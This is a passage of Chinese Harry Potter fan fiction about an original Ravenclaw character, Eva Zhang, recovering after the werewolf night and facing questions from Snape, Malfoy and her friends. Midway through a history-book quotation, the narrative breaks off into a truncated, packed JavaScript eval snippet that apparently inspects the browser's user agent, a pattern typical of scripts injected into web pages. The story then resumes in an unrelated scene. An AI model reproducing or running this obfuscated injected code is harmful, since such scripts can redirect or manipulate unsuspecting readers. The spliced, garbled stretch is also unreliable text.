布莱克和一只老鼠倒在雪地里,布莱克的肩膀一片血红,但还活着,正挣扎着试图爬起来。不远处,哈利、罗恩和赫敏挤在一起,哈利手里紧紧攥着魔杖,三个人都受了不同程度的伤。而狼人——卢平——已经不见了踪影,只在雪地上留下一串凌乱的、通往禁林方向的爪印。 以及露天走廊下方,那片尚未完全熄灭的、暗红色的、贴着地面诡异燃烧的火焰。 斯内普的目光在那片火焰上停留了一瞬。当他转向Eva时,声音压得很低:“‘火焰熊熊’?张小姐,你的咒语效果……很有特色。”黑眼睛里是毫不掩饰的审视,“鉴于今夜事件的严重性,我认为有必要在稍后进行更详细的询问。” “波比!”麦格教授朝医疗翼方向喊道,“我们需要庞弗雷夫人!立刻!” 混乱中,Eva感到一只手再次抓住了她的手臂——依旧是马尔福。他的力道比刚才轻了些,但依旧不容拒绝。 “走。”他从牙缝里挤出这个字,不等她回应,就拉着她朝斯莱特林地窖的方向走去——不是拉文克劳塔楼的方向。 “放开。”Eva试图挣脱,但浑身无力。 “闭嘴。”马尔福的声音紧绷,“你想让所有人都看到你这副样子?像个刚从冰窖里捞出来的幽灵?” 他说的没错。她现在的状态太差了,脸色苍白,浑身发冷,脚步虚浮。如果这样回到拉文克劳塔楼,帕德玛和曼蒂一定会追问不休,而她现在没有精力应付任何问题。 马尔福拉着她穿过几条僻静的走廊,最后在一扇不起眼的挂毯后停下。他挥动魔杖,低声念出口令,挂毯后的石墙无声滑开,露出后面一间小小的、显然是私人用途的储藏室——里面堆着一些旧的魁地奇装备、几口钉死的箱子和一张积满灰尘的桌子。 他把她按在唯一一张还算干净的椅子上,然后迅速关上门,重新施了几个隔音和防护咒——动作依旧生疏,但至少完成了。 储藏室里只有墙上几盏昏暗的魔法灯照明。马尔福转过身,背对着她,肩膀的线条紧绷。过了几秒,他才开口,声音比刚才更加僵硬: “你 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Eva睁开眼,看着他。马尔福站在那里,月光从储藏室高处一扇窄窗斜射进来,照在他苍白的侧脸上。他的表情复杂——有未散的恐惧,有对未知力量的好奇,还有一种……像是某种一直以来坚信的东西被打破后的茫然。 “算是吧。”她最终回答,没有否认,也没有详细解释。 马尔福点了点头,没再追问。他走到墙边,背靠着冰冷的石壁,目光投向窄窗外那片被月光照亮的夜空。 “今晚的事,”他忽然说,声音恢复了惯有的、带着一丝刻意的冷漠,“我不会说出去。关于你那奇怪的火焰,还有……你救了——” 他顿住了,像是被那个词烫到。 “——救了‘我们’的事。”他最终换了种说法,但灰蓝色的眼睛快速扫过她的脸,像是在确认什么,“但你也最好别说出去。关于我……没跑掉的事。” Eva点了点头。这是一个心照不宣的交易——互相保守秘密,互相维持体面。 “你需要回拉文克劳塔楼吗?”马尔福问,语气依旧生硬,“还是……需要再坐一会儿?” Eva没有立刻回答。她的指尖在椅子扶手上微微发抖——不是冷,是那种深层的、从经脉里透出来的虚脱感。每一次呼吸都带着胸腔空荡的回响,眼前的昏暗灯光时而清晰时而模糊。她知道以现在的状态,走回拉文克劳塔楼几乎不可能。 “再坐一会儿。”她最终轻声说,声音因为虚弱而几乎听不见。 马尔福几不可察地点了点头,没有看她,目光盯着窄窗外那片被月光照亮的夜空。储藏室里陷入沉默,只有远处隐约传来的、城堡里的骚动声,像是另一个世界的喧嚣。 沉默持续了大约一分钟。Eva闭上眼睛,尝试让呼吸平缓下来,但体内那股空乏感像一口深不见底的井,每一次调息都只能汲取到微乎其微的暖意。 “你那时……”马尔福忽然开口,声音打破了寂静,却又在开口后停顿了一下,像是在斟酌用词,“……就是用那种方法,挡住摄魂怪的?” 这个问题问得很巧妙。他没有直接问“那是什么魔法”,而是引向一个已知事件——火车上的摄魂怪。既满足了好奇心,又不显得过于探究隐私。 Eva睁开眼,看着他依旧侧对着她的身影。“不完全一样。”她如实回答,“摄魂怪那次……更简单一些。只是稳定心神。” “简单。”马尔福重复这个词,从鼻腔里发出一声短促的、近乎自嘲的轻嗤,“所以刚才那个……复杂的?需要付出代价的?” 他转过头,灰蓝色的眼睛终于直视她,目光锐利得像要剖开表象,“你现在看起来像被抽干了,张。比魔药课上那次还要糟糕。” “任何超出能力的魔法都有代价。”她平静地说,没有否认,“只是有些代价……更隐蔽。” 马尔福盯着她看了几秒,眼神里翻涌着某种她读不懂的东西。然后他移开视线,手指无意识地摩挲着斗篷边缘精致的银线刺绣。 “我父亲说过,”他的声音压得很低,像是自言自语,又像是对她说,“东方的巫师总有些……我们不明白的把戏。危险的把戏。” 他顿了顿,嘴角扯出一个惯有的、带着讥诮的弧度:“但他说这话时,语气里没有好奇,只有警告。警告我不要靠近,不要探究,因为‘马尔福不需要理解那些不属于我们世界的东西’。” 这话说得很轻,但在寂静的储藏室里清晰得像冰裂。Eva忽然意识到,这不是单纯的闲聊——他在解释,解释为什么他之前总是用那种混合着好奇和排斥的眼神看她,为什么他总是表现得像个傲慢的纯血统少爷,却又在某些时刻流露出不同。 他在告诉她:我的好奇是被禁止的。我的关注是需要掩饰的。 “那你现在,”Eva轻声问,目光落在自己依旧微微发抖的手指上,“是在‘靠近’和‘探究’吗?” 马尔福的身体几不可察地僵了一下。然后他发出一声更轻的、几乎像是叹息的哼笑。 “我父亲还说,好奇心会害死猫。”他的声音恢复了那种刻意为之的冷漠,“但猫有九条命。马尔福……” 他没说完,但Eva听懂了未尽之意。马尔福只有一条命,但今晚,在狼人扑来的那一刻,在火焰燃起的瞬间,他看到了某种完全超出他认知框架的东西。那种冲击,足以让最顽固的禁令产生裂缝。 又是一阵沉默。 “马尔福。”她忽然开口,声音在寂静的储藏室里清晰异常。 他身体几不可察地绷紧了一下,侧过头,灰蓝色的眼睛在昏暗光线下看向她,带着警惕:“什么?” Eva没有睁眼,声音平静得像在讨论天气:“那瓶‘恒久之蓝’墨水,还有去年的巧克力。是你送的,对吗?” 空气仿佛凝固了。马尔福的表情有一瞬间的空白,随即被一层迅速覆上的冰壳掩盖。他猛地转回头,下颌线绷得像拉紧的弓弦,耳廓却以肉眼可见的速度漫上一层薄红。 “我不知道你在说什么。”他的声音又冷又硬,但那份僵硬泄露了太多。 “包装一样。花体字一样。没有署名。”Eva缓缓睁开眼,看向他紧绷的侧影,“很符合你做事的方式——不想欠人情,或者,不想被人知道。” “自作聪明,张。”他从牙缝里挤出这句话,手指无意识地攥紧了斗篷边缘,“或许只是某个被你那套东方神秘把戏迷住的蠢货。” “也许。”Eva没有反驳,只是重新闭上眼睛,仿佛刚才的问题只是一个无关紧要的插曲。“谢谢你的礼物。墨水很好用。” 空气又静默了几秒。马尔福的喉结几不可察地滚动了一下。他想说“那本来就不是给你的”或者“随手买的破玩意儿”,甚至想冷笑一声继续刚才“蠢货”的论调。但所有的话都堵在喉咙里,像一堆干涩的石头。最终,他只是从鼻腔里发出一声极轻的、意义不明的气音,像是一声被强行压下的咳嗽,又像是一声无力的辩驳被碾碎在舌尖。 这声气音在寂静的储藏室里,比他任何一句冷硬的否认都更清晰地揭示了他的狼狈。他不再试图开口,只是重新挺直了背脊,仿佛想用这个从小训练了无数次的姿态,挽回一点早已摇摇欲坠的、属于马尔福的体面。但微红的耳廓和那声未能成言的气音,已经出卖了他内心那片被骤然照亮的、连他自己都感到陌生的混乱地带。 储藏室里只剩下两人压抑的呼吸声,以及远处城堡隐约的骚动。Eva那句平静的“谢谢”,像一颗投入冰面下深潭的小石子,没有激起惊涛骇浪,却实实在在地沉了下去,在那片名为德拉科·马尔福的、封闭而混沌的水域里,留下了一道一时难以消散的涟漪。 Eva感到体力稍微恢复了一些,至少眼前的黑雾散去了。她尝试慢慢站起来,这一次,腿没有软得那么厉害。 “我要回去了。”她说。 马尔福没有阻拦,只是直起身,走到门边,撤去了防护咒。在推开石门前,他忽然转头,灰蓝色的眼睛在昏暗光线下异常明亮。 “今晚的事,”他重复了一遍之前的交易,但这次语气里多了一丝不同,“我不会说出去。包括你那奇怪的火焰,你救了我的事,还有……” 他顿了顿,目光在她脸上停留了半秒:“……这个储藏室。” “我也不会说。”Eva点头,“包括你……留下来没跑的事。” 马尔福的嘴角几不可察地动了一下,像是想说什么,但最终只是点了点头,推开了石门。 走廊里的寒气涌进来,Eva打了个寒颤。她走出储藏室,深蓝色的袍角拂过积灰的门槛。在她即将拐过走廊尽头时,身后传来马尔福最后一句压得很低的话: “小心斯内普。他对异常魔法的嗅觉……比谁都灵敏。” 然后石门在她身后无声地合拢,像是从未打开过。 返回拉文克劳塔楼的路上,她走得很慢。月光从高高的彩绘玻璃窗透进来,在地上投下斑斓而冰冷的光影。城堡里依旧弥漫着紧张的气氛,偶尔有教授匆匆走过。 她走到拉文克劳塔楼入口时,青铜鹰门环今晚的问题是:“何物最脆弱,却能穿透最坚硬的盔甲?” 她沉默了几秒,轻声答:“真相。” 门应声而开。 公共休息室里,帕德玛和曼蒂立刻围了上来,脸上写满了担忧。 “Eva!你没事吧?我们听到外面好吵,好像出事了……” “你去哪儿了?你的脸色好白……” Eva对她们露出一个安抚的浅笑。 “我没事。”她说,声音平稳,“只是外面有点冷。睡一觉就好了。” 她没说庭院里发生的事,没说狼人,没说布莱克,也没说那片诡异的火焰。 窗外,月光依旧明亮,冰冷地照着这片被雪覆盖的古老城堡。满月高悬,像一只永不闭合的眼睛,凝视着今夜所有的恐惧、勇气、秘密和抉择。 83.禁闭与代价 庞弗雷夫人站在医疗翼明亮的灯光下,眉头紧蹙得能夹死一只狐媚子。她手中的魔杖尖端流淌出银白色的诊断光芒,在Eva的手臂和胸口反复扫过,每一次扫视都让她的脸色更加阴沉。 “魔力波动紊乱,经脉承受过度负荷的撕裂性损伤,以及……典型的本源透支症状,比开学初严重得多。”她收回魔杖,声音像磨过的刀刃,“张小姐,你能解释一下昨晚发生了什么吗?以你目前的状态,施展一个标准的荧光闪烁都该勉强。” Eva靠在病床上,深蓝色的校袍已经被换成干净的病号服。她的脸色依旧苍白,嘴唇缺乏血色,但眼神已经恢复了平时的平静。“有紧急情况,夫人。我不得不施咒。” “不得不?”庞弗雷夫人重复这个词,语气里压抑着怒火,“什么样的‘紧急情况’,值得一个十三岁的女孩冒着彻底损伤魔法根基的风险去应对?邓布利多教授和全体教师都在城堡里!” “当时没有时间去找教授。”Eva轻声说,目光落在医疗翼窗外灰白色的天空上。已经是周日清晨,雪停了,但天空依旧阴沉得像要塌下来。 庞弗雷夫人盯着她看了几秒,最终重重叹了口气。她从药柜里取出几瓶颜色各异的药剂——淡绿色的镇定剂,乳白色的精神营养剂,还有一种新的、泛着珍珠光泽的银色液体。 “这瓶,”她拿起银色药瓶,语气不容置疑,“是我根据你祖父上次留下的方子调整的。专门用于修复因过度施法导致的‘炁’脉撕裂。每天早晚各一次,连续服用一周。期间绝对禁止任何形式的魔法实践,包括课堂练习——我会亲自给你的所有教授写信说明情况。” 她将药瓶塞进Eva手里,瓶身冰凉。“另外,从今天起,你需要在医疗翼接受全天监测。至少三天。我要确保这次损伤没有留下永久性的后遗症。” Eva点了点头,没有争辩。她确实需要休息。体内的空虚感比昨晚更甚,每一次呼吸都像是在磨损什么脆弱的东西。她拧开银色药瓶的盖子,药液散发出清冽的草药气息,混合着一丝奇异的、类似雨后青石的矿物味道。她小口喝下,液体滑过喉咙时带来一阵微弱的刺痛,随即化作温润的暖流,缓缓渗入四肢百骸。 就在这时,医疗翼的门被推开了。 麦格教授走了进来,脸色严肃得像要上战场。她身后跟着斯内普教授——黑袍,黑眼睛,表情比平时更加阴沉。 “庞弗雷夫人,张小姐的情况如何?”麦格教授的声音斩钉截铁。 “需要静养和严格监控,至少三天。”庞弗雷夫人毫不客气地说,“另外,鉴于她目前的状态,我建议免去她未来一周的所有课程和作业。” 麦格教授点了点头,目光转向Eva:“张小姐,关于昨晚发生的事,我们需要一份详细的陈述。邓布利多教授要求所有目击者提供书面报告。”她停顿了一下,语气稍缓,“当然,考虑到你的身体状况,可以等到你恢复一些后再写。但有些问题,我们现在就需要厘清。” 斯内普向前走了一步。他没有看Eva,而是盯着庞弗雷夫人手中的空药瓶。“那是什么药剂,庞弗雷夫人?我从未见过这种配方的愈合剂。” “张老先生提供的东方配方,专门用于处理魔力透支导致的深层损伤。”庞弗雷夫人的语气带着专业的冷淡,“效果比我们的生骨灵和缓和剂更适合这类情况。” 斯内普的黑眼睛里闪过一丝极快的、近乎探究的光芒。“东方配方。”他重复这个词,声音拖长了,“有趣。那么,张小姐,你是否愿意解释一下,昨晚你施展的那个‘火焰熊熊’——如果那还能称之为火焰熊熊的话——为何会呈现出暗红色,并带有……独特的能量特征?” 这个问题直指核心。Eva抬起眼,对上斯内普冰冷的视线。 “西弗勒斯,”麦格教授打断道,声音严厉,“现在问事情经过才是重点。张小姐,你能否详细描述昨晚事件的完整经过?从你为何出现在露天走廊开始。” Eva沉默了几秒,组织着语言。“我原本打算去医疗翼取药,”她平静地说,“经过露天走廊时,看到庭院里有动静——哈利、罗恩和赫敏从打人柳方向跑出来,后面跟着一只黑狗。然后黑狗变成了布莱克,他们打了起来。” “然后呢?”麦格教授追问。 “布莱克扑向哈利,卢平教授……从城堡方向冲出来,但他在月光下开始变形。我意识到那是狼人,它转向哈利他们。”Eva的声音很稳,“我施了火焰咒,想挡住它,争取时间。” “只是‘火焰熊熊’?”斯内普的声音插进来,“你的咒语呈现出异常的特征,张小姐。这需要解释。” Eva感到掌心渗出细密的冷汗。“我不知道,教授。我当时只想阻止狼人靠近,可能因为太紧张,咒语的效果发生了变异。” “变异。”斯内普的声音像冰面裂开,“一个三年级学生,在极度虚弱的状态下,施展出的咒语不仅没有衰弱,反而产生了连成年巫师都难以解释的‘变异’?张小姐,你认为这个解释能说服威森加摩的调查员吗?或者魔法部事故处理司的官员?” 麦格教授皱起眉头:“西弗勒斯,现在不是质问学生的时候。张小姐需要休息。” “正因如此,才需要尽快弄清真相。”斯内普没有移开目光,“昨晚的火焰,不仅颜色异常,其燃烧方式也违背了基础魔法原理——不融雪,不发热,却能有效阻挡狼人。这种‘变异’,庞弗雷夫人,是否与张小姐服用的‘东方配方’有关?” 医疗翼里的空气瞬间凝固了。 庞弗雷夫人的脸色变得极其难看。“西弗勒斯·斯内普!你在暗示什么?张小姐的药剂是我亲自监督调配的,完全符合医疗规范!” “我没有暗示任何事。”斯内普的声音依旧冰冷,“只是在陈述事实。一个学生,服用不明配方的药剂,随后施展出异常魔法,在涉及逃犯和狼人的严重事件中扮演了关键角色。作为魔药学教授兼斯莱特林院长,我认为有责任弄清其中的关联。” 他转向Eva,黑眼睛像两道探针:“张小姐,你祖父——是否教过你一些……霍格沃茨课程体系之外的魔法技巧?或者说,那些‘东方配方’,是否会对巫师的魔力本质产生影响?” 这个问题太尖锐了。Eva感到掌心渗出细密的冷汗。爷爷确实教过她一些东西,但那些不是“魔法”,而是关于“炁”的运用和心性的修炼。至于药剂,爷爷只说那是温养根基的方子,与魔法无关。 但她不能说。不能在这个时间点,当着斯内普和麦格教授的面,去解释东方修行体系与西方魔法的区别。那会引来更多问题,更多审视,更多她无法应对的复杂局面。 “我爷爷只教过我一些修身养性的方法,教授。”她最终选择最保守的回答,“关于专注和冷静。至于药剂,是为了帮助我恢复体力,没有其他作用。” 斯内普盯着她看了很久。久到医疗翼里的钟摆响了三次。然后,他缓缓开口:“很好。那么,关于昨晚的咒语,我会将其记录为‘在极端压力下产生的不可复现的魔法变异’。但张小姐,我必须警告你——” 他的声音压低,每个字都像冰锥: “霍格沃茨的课程体系经过千年的验证,是培养巫师最安全、最有效的途径。任何偏离这一体系的行为——无论是私自学习未经认证的魔法,还是服用来源不明的药剂——都可能带来无法预料的后果。昨晚你侥幸没有造成更严重的伤害,但下一次,未必有这么幸运。” 他顿了顿,黑眼睛里的冰冷中掺杂着一丝Eva看不懂的东西——不是关切,更像是某种实验性的观察。 “鉴于你在昨晚事件中的表现,以及目前的身体状况,我建议麦格教授安排适当的……惩戒。不是惩罚,而是警示。例如,在恢复期结束后,每周两次,来我的地窖,协助处理魔药材料。这既能让你对魔药学的严谨性有更深刻的认识,也能在受控环境下,观察你的魔力恢复是否……稳定。” 麦格教授皱起眉头:“西弗勒斯,张小姐需要的是休息,不是额外的劳动。” “恰恰相反。”斯内普的声音毫无波澜,“规律的、低强度的魔法实践,有助于魔力循环的恢复。当然,前提是严格在我的监督下进行。如果庞弗雷夫人同意的话。” 庞弗雷夫人和麦格教授交换了一个眼神。最终,庞弗雷夫人叹了口气:“如果确实有助于恢复,并且严格控制强度和时间……我可以同意。但每周不超过两次,每次不超过一小时。而且必须在我确认张小姐的身体状况允许之后。” “可以。”斯内普点了点头,像是完成了一场交易。 两位教授离开后,医疗翼重新陷入寂静。庞弗雷夫人又检查了一遍Eva的脉搏和魔力波动,确认稳定后,才转身去处理其他病人。 Eva靠在枕头上,盯着天花板上流动的光影。斯内普的话在耳边冰冷地回响——“偏离体系”、“无法预料的后果”、“受控环境下的观察”。 他关心的当然不是她的恢复。这是一道防线。一道将她、将她身上那些他不理解的“异常”,明确置于他监视之下的防线。“协助处理魔药材料”——听起来像是劳动惩罚,但在斯内普手里,这分明就是一个持续的、近距离的观察窗口。他会像分析一种不稳定的魔药成分那样,分析她的每一个动作,每一次魔力波动,试图将她归类,或者……找出她“变异”的配方。 但换个角度,Eva想,这或许也是一个机会。魔药大师的地窖,向来是他的绝对领域。他将她划归其中,是否也意味着,在霍格沃茨的体系内,关于她“异常”的质疑和探查,都将首先由他来界定和应对?这固然是高压的监管,却也可能是一道无形的屏障,隔绝外界更混乱的探究。前提是,她必须在他设定的规则内,表现得“恰到好处”——不能太弱,那会引发更多“保护”或“研究”;也不能再显露任何“异常”。这其中的分寸,需要比以往更精确的把握。 窗外的天色依旧阴沉。医疗翼里弥漫着消毒水和药剂的混合气味。Eva闭上眼睛,感受着银色药液在体内化开的温润暖流。爷爷的方子确实有效,那股暖流正在缓慢修复经脉的撕裂感,但速度很慢,慢得像冬天的树在积雪下生长。 她知道,昨晚的事不会就此结束。布莱克被抓(或者逃了?),卢平是狼人的真相暴露,哈利他们卷入其中……还有她那个“变异”的火焰咒。所有这些,都会像投入黑湖的石子,涟漪会持续扩散,直到触及某些更深的、隐藏的东西。 而她,必须在这片由审视、好奇、戒备和少许关切交织成的涟漪中,找到自己的立足点,并学会在其中沉默而稳定地呼吸。 这三天,朋友们陆续来看过她。 “Eva!”曼蒂冲过来,眼睛瞪得圆圆的,“梅林的胡子!你总算回来了!我们听说——外面到处都在传!” “你还好吗?”帕德玛更沉稳些,但语气里的关切同样真切,她伸手扶住Eva的手臂,“你的脸色……庞弗雷夫人怎么说?” 面对朋友们混杂着担忧、好奇和后怕的目光,Eva知道必须说点什么。她用了最简略、也最接近“官方说法”的版本:“庭院里出了意外,有人打斗。我离得近,施咒时有点脱力,被送去医疗翼了。庞弗雷夫人说需要静养几天,免修一周的课。” 她略去了所有细节——狼人、变异的火焰、与马尔福在储藏室的对话,以及斯内普那些尖锐的审问。 曼蒂显然想追问“有人”是谁,以及更刺激的部分,但帕德玛轻轻碰了碰她的手背,转而问道:“那你这几天就好好休息。药按时吃了吗?” “嗯。”Eva靠着枕头坐在床上,温暖的空气让她一直紧绷的神经稍微松弛了一些。她听着曼蒂开始转述今天听到的各种离谱传闻——从“布莱克是阿尼马格斯”到“卢平教授其实是狼人”(这个意外地接近真相),再到“哈利·波特单挑了布莱克”……帕德玛偶尔会纠正一些过于荒诞的说法,丽莎则小声补充她从赫奇帕奇朋友那里听来的版本。 那些喧嚣的议论,此刻仿佛隔着一层厚厚的、沾满雾水的玻璃。Eva捧着帕德玛递来的热可可,小口啜饮。她知道真正的问话还没开始,麦格教授和邓布利多那里迟早需要一份陈述。但至少此刻,她可以暂时什么也不想。 接下来的两天,城堡笼罩在一种压抑的事后氛围里。各种传言发酵、变形,又被新的猜测取代。Eva大部分时间待在医疗翼静养,偶尔从室友们带回的消息中拼凑着事件的官方进展:布莱克和彼得被严密拘押,卢平教授辞职离校,魔法部官员频繁出入城堡……而关于她那晚的角色,流传着数个愈发离奇的版本。对这些,Eva一概沉默以对。 三天后,周三上午,庞弗雷夫人终于允许Eva离开医疗翼。 “记住,绝对禁止高强度魔法实践。”庞弗雷夫人将最后一瓶银色药剂塞进她手里,“每天早晚各一次,不能间断。另外,斯内普教授的地窖劳动,从下周一开始,每周三、五下午四点。每次一小时,我会提前检查你的身体状况。如果有任何不适,立刻停止并通知我。” Eva点了点头,换上干净的校袍。深蓝色的布料熨帖地包裹着身体,带来一种回归正常的实感。但当她走出医疗翼,踏上城堡走廊时,那种实感迅速被周围的目光稀释了。 几乎所有学生——无论学院——都在看她。目光里有好奇,有探究,有敬畏,也有不加掩饰的议论。 “……就是她,拉文克劳的那个张……” “……听说她一个人用火焰咒挡住了狼人……” “……怎么可能?她才三年级……” “……我表哥在格兰芬多,他说当时哈利·波特差点被咬,是她救的……” “……但她用的是奇怪的魔法,火焰是暗红色的……” “……听说有人看到她和马尔福一起……” “……马尔福?他不是最讨厌麻瓜出身和混血吗……” 议论声像潮水般涌来,又在她走过时迅速退去。她目不斜视,步伐平稳,仿佛那些目光只是穿过她身体的空气。 就在她经过一道连接城堡东西翼的拱廊时,迎面碰上了刚从格兰芬多塔楼方向匆匆走来的哈利。他手里抓着一卷羊皮纸,眉头紧锁,显然还沉浸在昨晚的事件和随之而来的诸多问题中。看到Eva,他脚步猛地顿住。 “Eva。”他的声音有些干涩,绿眼睛迅速扫过她依旧苍白的脸和略显缓慢的步伐,“你……你从医疗翼出来了?庞弗雷夫人说你还好吗?” “嗯,需要静养。”Eva点头,声音平稳,“你们呢?都没事吧?” “罗恩的腿需要再固定两天,赫敏只是擦伤。”哈利语速很快,但目光在她脸上多停留了一瞬,那里面除了惯有的担忧和沉重,似乎还掺杂了一丝更深的东西——不仅仅是感谢,还有一种看到她虚弱模样时,心底莫名被揪紧的感觉。这感觉和他看到赫敏熬夜查书时的担心不太一样,更……私人一些。但他立刻把这归结于Eva的伤势是因他们而起,而她的平静总让他觉得这份付出太过沉重。 “那天晚上……真的谢谢你。”哈利再次说道,声音低了下去,“如果不是你……”他没说完,摇了摇头,“我们欠你太多了。” “不用谢。”Eva轻声说,“你们只是想寻求真相。” 哈利抿了抿嘴唇,绿眼睛里闪过一丝痛苦和迷茫。真相、背叛、狼人、未完成的复仇……太多东西压在他心头。而此刻站在他面前的这个女孩,明明自己刚刚脱离危险,却反过来安慰他。这份平静像一面镜子,照出他内心的纷乱,也让他感到一种奇异的安定。他想说更多,关于彼得的猜测,关于布莱克的审判,关于他混乱的思绪,但走廊里不时有学生经过,投来好奇的目光。 “我得去趟猫头鹰棚屋,”他最终举了举手里的羊皮纸,“给小天狼星……给布莱克案的指定律师写点东西。赫敏联系的。”他顿了顿,“你……好好休息。” “你也是,哈利。”Eva说。 他点了点头,侧身让开道路。看着她深蓝色袍角平稳地消失在走廊拐角,哈利站在原地,深吸了一口气。胸腔里那种沉甸甸的感觉还在,他刚才捕捉到的那一丝不同寻常的揪心感,像一颗小小的、温暖的石子,投入了他充斥着寒冷和愤怒的内心湖泊,激起了细微却真实的涟漪。他握紧了羊皮纸,转身朝另一个方向走去。 早餐时,拉文克劳长桌的气氛有些古怪。看到她走进来,议论声短暂地停顿了一下,然后迅速转为更克制的低语。曼蒂和帕德玛立刻给她让出位置,丽莎担忧地看着她的脸。 “Eva,你还好吗?”曼蒂压低声音问,眼神里除了担忧,还有藏不住的好奇,“我们听说……好多离谱的传闻。有人说你用的火焰是黑色的,还有人说你一个人就打跑了狼人!” “曼蒂。”帕德玛轻轻碰了碰她的手臂,示意她看周围——几个拉文克劳和赫奇帕奇的学生正假装吃东西,耳朵却明显朝这边竖着。帕德玛转向Eva,声音更轻,也更务实:“别理那些传言。你现在感觉怎么样?需要的东西都从医疗翼拿回来了吗?” Eva点了点头,小口喝着南瓜汁。“嗯,药按时吃就行。只是需要静养。” “那就好。”帕德玛顿了顿,似乎在斟酌用词,“我们今早碰到麦格教授了,她……特意叮嘱我们,让你好好休息,别为外面的议论分心。”她没说出口的是,麦格教授的语气里有一种罕见的严肃,更像是一种保护性的告诫。 Eva听懂了帕德玛的弦外之音。“我明白。”她平静地说,目光扫过礼堂里那些或明或暗投来的视线。惩戒劳动、额外的审视、还有这些目光……都是“静养”的一部分。 曼蒂似乎还想问什么,但看到帕德玛微微摇头,又看了看Eva平静却略显苍白的侧脸,最终把话咽了回去,只是用力往Eva盘子里又放了一块涂好黄油的面包。 早餐后,Eva去了图书馆。不是完成作业——她有一周的免修期——而是想查点东西。 平斯夫人看到她时,锐利的目光在她脸上多停留了几秒,但最终没有说什么,只是点了点头。 Eva径直走向魔法史区域。她需要了解一些背景——关于阿尼马格斯,关于狼人,关于十二年前的审判。不是像赫敏那样深入法律细节,而是更宏观的脉络。 她找了几本基础参考书,在靠窗的老位置坐下。阳光透过高高的彩绘玻璃,在书页上投下斑斓的光影。她翻开《近代英国魔法史纲》,找到关于“第二次巫师战争余波”的章节。 文字枯燥而客观:“……1981年10月31 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的语速很快,带着事后回忆的激动:“然后布莱克和斑斑打起来,混乱中我们一起逃出尖叫棚屋。彼得想跑,我用了束缚咒——没想到真的起作用了。然后卢平教授出现,但满月升起……他变成了狼人,后来就是你看到的那样了。” Eva点了点头。她没看到彼得被抓住的瞬间,但赫敏的描述填补了空白。 “彼得现在和布莱克关在一起?”Eva问。 赫敏点头:“在塔楼顶层的临时牢房。魔法部派了专人看守,等威森加摩安排正式审判。”她的表情变得严肃,“但福吉部长还是想尽快执行摄魂怪之吻——对布莱克和彼得都是。邓布利多教授在争取完整审判。” 窗外的阳光偏移了一寸,照亮空气中漂浮的微尘。图书馆里很安静,只有远处平斯夫人整理书架的细微声响。 “那晚之后,”Eva问,“卢平教授怎么样了?” 赫敏的脸色黯淡下来,“卢平教授……辞职了。今天早上走的。斯内普教授代课时的那些话……还有他狼人的身份暴露……他觉得自己不能再留在霍格沃茨。” 她说这话时,声音里有真实的难过。Eva想起卢平站在窗边那句轻不可闻的“快月圆了”,想起他疲惫却温和的眼睛,想起他在守护神咒课上说的“有些东西因为本身就带着重量,反而难以被轻易卷走”。 “他很适合当老师。”Eva轻声说。 赫敏点了点头,眼圈微微发红。“他是最好的黑魔法防御术教授。可是……”她没有说完,但意思很明白。可是他是狼人。在魔法界,在某些人眼里,这就够了。 两人之间沉默了片刻。阳光继续在书页上缓慢移动。 “Eva,”赫敏忽然开口,声音很轻,“那天晚上……谢谢你。如果不是你挡住狼人,哈利可能……”她没说完,但握紧了手中的羽毛笔,“哈利特别让我转达他的感谢。他本来想亲自来,但魔法部的调查员一直在问他问题。” “你们也没丢下布莱克。”Eva说,“即使知道他是逃犯。” 赫敏的嘴角动了动,像是想笑,却又笑不出来。她深吸一口气,“我们不能让一个无辜的人被摄魂怪吻杀。哪怕他是……狼人或是其他什么。” 这话说得很轻,却带着一种格兰芬多式的、近乎固执的正义感。Eva看着她,忽然明白了为什么哈利和罗恩总是愿意跟着赫敏冒险——即使她有时显得固执己见,即使她的计划总伴随着厚厚的书单和严格的时间表。因为在那之下,有一种更核心的东西:对真相的执着,对公正的追求,以及对朋友的忠诚。 “如果有什么我能帮忙的,”Eva最终说,“关于证据,或者别的什么。” 赫敏抬起头,棕色的眼睛亮了一下。“也许真的有。”她压低声音,“你知道的,巴克比克…”她顿了顿,“关于马尔福。” 最后这个名字让Eva抬起眼。 赫敏的表情变得有些复杂:“那天晚上,马尔福和你在一起,对不对?在露天走廊上。我后来听乔治和弗雷德说,他们看到马尔福拉着你往城堡里跑。”她观察着Eva的反应,“我知道你们……不是朋友。但他昨晚没有立刻逃跑,也没有趁机落井下石。这不像马尔福。” 确实不像。但Eva没有解释。她和马尔福之间的交易——互相保守秘密,互相维持体面——是她自己的事。 “我不知道……或许。”她最终说,语气平静。 赫敏盯着她看了几秒,最终点了点头,没有追问。“总之,如果你看到任何不寻常的事,告诉我们。” “好。” 平斯夫人开始清理书桌,提醒闭馆时间将至。赫敏匆忙收起那本厚重的案例集和散乱的笔记,对Eva点了点头,抱着摇摇欲坠的书堆消失在书架深处。 Eva又在图书馆坐了几分钟,直到阳光彻底移开她的书桌。 她收拾好东西,走向拉文克劳塔楼。走廊里的议论声已经少了很多,但目光依旧存在。她目不斜视,步伐平稳,仿佛那些目光只是穿过她身体的空气。 回到公共休息室时,曼蒂和帕德玛正在下巫师棋。看到她回来,曼蒂立刻跳起来:“Eva!秋刚才来找你,说如果你回来了,去一趟天文塔顶楼。她有事想跟你说。” 秋·张?天文塔顶楼? Eva点了点头:“好。我现在去。” 天文塔是霍格沃茨最高的塔楼之一,通常只在夜间课程开放。下午时分,这里空无一人,只有风穿过石柱的呼啸声,以及远处禁林起伏的墨绿色轮廓。 秋·张站在塔楼边缘的护栏旁,深蓝色的袍角被风吹得猎猎作响。听到脚步声,她转过头,脸上带着一贯的温和笑容,但眼神里有一丝Eva很少见到的凝重。 “Eva。”秋的声音在风中有些模糊,“谢谢你上来。” “秋,你找我有事?” 秋点了点头,示意她走到护栏边。从这里可以俯瞰整个霍格沃茨——城堡的塔楼和庭院,远处黑色的湖泊,更远处墨绿色的禁林。景色壮阔,却也带着苏格兰高地特有的、苍凉的寒意。 “我听说了一些事。”秋开口,声音很轻,却清晰,“关于昨晚,关于你用的魔法,也关于……斯内普教授的安排。” 